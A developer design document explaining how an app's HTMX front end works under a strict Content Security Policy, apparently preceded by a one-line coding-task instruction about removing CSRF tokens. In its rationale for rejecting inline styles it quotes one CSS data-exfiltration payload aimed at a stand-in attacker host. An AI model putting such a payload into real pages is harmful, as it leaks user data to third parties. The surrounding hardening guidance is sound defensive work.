The server no longer uses CSRF tokens, relying instead on the origin check in `internal/middleware/csrf.go`. Update all documentation, code comments, error handling, and specs to reflect the new protection model and remove the `csrf-secret` configuration key.
5.3 KiB
title, audience, summary
| title | audience | summary | |
|---|---|---|---|
| HTMX Setup |
|
How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials. |
HTMX Setup
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
Overview
The member-console uses HTMX for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the HTMX partial pattern: the server renders HTML fragments that HTMX swaps into the DOM.
Version
HTMX is vendored as a static asset at internal/embeds/static/htmx.min.js (currently v4.0.0; upgraded from v2.0.4 by the htmx-4 change, 2026-08-31). The migration is complete: no htmx-2-compat shim, no implicitInheritance flag, and lint fails htmx 2 residue (hx-disinherit, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark hx-boost:inherited; everything else declares its own attributes (see design-system.md §7). Requests carry no CSRF token; cross-origin protection is the server's origin check (internal/middleware/csrf.go).
Loading
HTMX is loaded via a <script defer> tag in the page templates (operator.html, index.html, products.html, billing.html). The defer attribute ensures it loads after the DOM is parsed.
CSP Configuration
The CSP is defined in internal/middleware/security.go and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
Relevant CSP Directives
script-src 'self' https://unpkg.com/htmx.org@*
style-src 'self'
script-src: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.style-src: Only allows styles from external.cssfiles served by our origin. Inline<style>tags andelement.style.*assignments are blocked.
Why No 'unsafe-inline'
Adding 'unsafe-inline' to script-src would defeat most XSS protection. For style-src, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
HTMX + CSP Interaction
HTMX has two behaviors that conflict with a strict style-src 'self' policy:
1. Indicator Styles (Solved)
htmx 4 delivers its default .htmx-indicator CSS through Constructable Stylesheets rather than an injected inline <style> tag (which is what used to violate style-src 'self' in htmx 2). We still disable it so app.css remains the single source of indicator styling:
<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>
(The noSwap list is the error-response swap contract; see design-system.md §7.)
The equivalent indicator styles are provided in internal/embeds/static/app.css:
.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }
This gives us full control over indicator styling without any CSP violation.
2. Swap Transitions (Accepted)
htmx 4 animates swaps through the View Transitions API, which is disabled by default (htmx.config.transitions = false) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.
Why not 'unsafe-inline' for styles? While less risky than 'unsafe-inline' on script-src, it still enables CSS-based exfiltration (e.g., background: url(attacker.com/steal?data=...)). Nothing in the current setup needs it.
External JavaScript
All JavaScript must be in external .js files under internal/embeds/static/ to comply with CSP. Never add inline <script> tags to templates — they will be silently blocked.
Current external scripts (a representative sample, not exhaustive; see internal/embeds/static/):
error-handler.js— HTMX error handling and toast notificationsconfirm-action-modal.js— the shared confirm dialog every destructive action opens through (docs/design-system.md"Confirm modal")
When adding new interactive behavior to HTMX partials, follow this pattern:
- Create a new
.jsfile ininternal/embeds/static/ - Add a
<script defer>tag to the relevant page template - If the script manipulates elements inside HTMX partials, listen for
htmx:after:swap(or usehtmx.onLoad) to re-initialize after swaps; htmx 4 event names are colon-separated (htmx:phase:action)
Static Asset Authentication
Static assets under /static/ are exempted from authentication middleware (internal/auth/auth.go). This is necessary because:
- Static assets are public resources (CSS, JS, images, icons)
- Some browser fetches (e.g.,
<link rel="manifest">) use CORS mode withcredentials: 'omit', meaning session cookies are not sent - Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
External CSS
All custom styles are in internal/embeds/static/app.css. This file consolidates styles that were previously inline <style> blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.